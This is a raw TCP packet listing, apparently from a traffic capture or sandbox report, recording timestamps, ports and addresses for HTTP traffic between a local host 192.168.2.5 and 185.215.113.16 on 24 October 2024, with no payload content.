Oct 24, 2024 19:30:09.618413925 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.618427038 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.618570089 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.618585110 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.618601084 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.618616104 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.618617058 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.618630886 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.618643045 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.618645906 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.618660927 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.618670940 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.618675947 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.618690968 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.618697882 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.618705988 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.618716002 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.618720055 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.618735075 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.618746042 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.618767023 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.618768930 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.618782997 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.618803978 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.618825912 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.618963957 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.618978977 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.618999958 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619009018 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.619015932 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619026899 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.619030952 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619045973 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.619060040 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619064093 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.619077921 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.619088888 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619096041 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.619110107 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619117022 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619122982 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619124889 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.619127989 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619142056 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619143009 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619146109 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619146109 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.619159937 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619173050 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.619191885 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.619194031 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619210958 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619215965 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.619216919 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619237900 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.619246006 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619257927 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.619260073 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619283915 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.619292974 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619308949 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.619309902 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619332075 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.619349957 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.619571924 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619585991 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619601011 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619616032 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619617939 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.619631052 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619637012 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.619647026 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619653940 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.619672060 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.619678974 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619685888 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.619693995 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619714975 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.619714975 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619728088 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.619729996 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619752884 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.619752884 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619767904 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619771004 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.619782925 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619786978 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.619797945 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619807959 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.619813919 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619824886 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.619828939 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619843960 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.619848013 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619852066 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619857073 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.619867086 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619878054 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.619882107 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619895935 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619906902 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.619910955 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619921923 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.619926929 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619946003 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619975090 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619980097 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.619980097 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.619990110 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.619997025 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.620006084 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.620012999 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.620019913 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.620033026 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.620034933 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.620050907 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.620052099 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.620070934 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.620081902 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.620093107 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.620098114 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.620104074 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.620116949 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.620119095 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.620134115 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.620135069 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.620155096 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.620181084 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.620502949 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.620549917 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.620635033 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.620649099 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.620662928 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.620676994 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.620677948 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.620692015 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.620692968 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.620707989 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.620713949 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.620731115 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.620737076 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.620745897 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.620759010 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.620760918 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.620775938 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.620778084 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.620790958 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.620796919 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.620807886 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.620819092 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.620821953 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.620836973 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.620841026 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.620852947 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.620862961 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.620867968 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.620889902 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.620892048 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.620906115 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.620913982 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.620937109 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.620954990 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.621067047 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621081114 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621095896 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621109962 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621110916 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.621124983 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621126890 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.621140957 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621150017 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.621155977 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621169090 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.621171951 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621191025 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621195078 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.621212959 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621217966 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.621227980 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621241093 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.621243000 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621258974 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.621264935 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621273041 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.621279955 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621294022 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621296883 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.621311903 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621320963 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.621329069 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621340036 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.621344090 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621357918 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.621359110 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621373892 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621376991 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.621388912 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621396065 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.621403933 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621411085 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.621418953 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621433973 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621434927 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.621448994 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621459007 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.621464014 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621479034 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621484995 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.621494055 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621504068 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.621509075 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621522903 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621526957 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.621537924 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621548891 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.621551991 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621567965 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621575117 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.621583939 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621598005 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.621624947 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.621851921 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621866941 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621881008 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621895075 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621896982 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.621910095 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621917009 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.621926069 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.621951103 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.621963024 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.621989012 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.622004032 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.622018099 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.622026920 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.622033119 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.622044086 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.622067928 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.622076988 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.649998903 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.650015116 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.650029898 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.650063992 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.650104046 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.650118113 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.650132895 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.650149107 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.650156021 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.650247097 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.650247097 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.650247097 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.650247097 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.650247097 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.650559902 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.650574923 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.650589943 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.650603056 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.650620937 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.650628090 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.650639057 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.650652885 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.650667906 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.650674105 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.650685072 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.650686979 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.650708914 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.650719881 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.650820971 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.650835037 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.650849104 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.650862932 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.650863886 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.650878906 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.650881052 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.650895119 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.650904894 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.650908947 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.650924921 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.650930882 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.650944948 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.650954962 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.650960922 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.650974989 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.650979996 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.650990009 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651000023 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.651005983 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651021004 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651027918 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.651036024 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651051044 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651051998 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.651067019 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651073933 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.651082993 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651099920 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.651110888 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651124954 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.651125908 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651148081 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.651173115 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.651225090 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651238918 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651253939 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651263952 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.651268005 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651282072 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.651295900 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.651326895 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.651335955 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651350021 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651365995 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651376009 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.651381016 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651393890 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.651396990 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651407957 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.651412964 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651427984 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.651428938 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651447058 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.651452065 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651465893 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651469946 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.651494026 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651495934 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.651509047 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651524067 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651527882 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.651539087 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651551008 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.651554108 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651570082 CEST	80	49959	185.215.113.16	192.168.2.5
